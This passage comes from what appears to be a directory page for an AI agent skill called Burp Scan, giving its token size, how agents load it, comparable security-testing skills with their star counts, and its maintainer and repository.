About 6.4k tokens (SKILL.md is roughly 25k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Burp Scan?

Skills that share tags, products or a category with Burp Scan: Burp MCP Vuln Check (langbyyi/CyberStrikeAI-SRC, 135 stars), Hunt Burp (Encod3d-Sec/TORCH, 329 stars), MCP Server Tools (samugit83/redamon, 3k stars) and Agentic Tool Integration (samugit83/redamon, 3k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Burp Scan?

six2dez (a GitHub user) maintains it in six2dez/burp-ai-agent, which has 1,526 GitHub stars. The repository was last updated on October 8, 2026.

Source: six2dez/burp-ai-agent on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.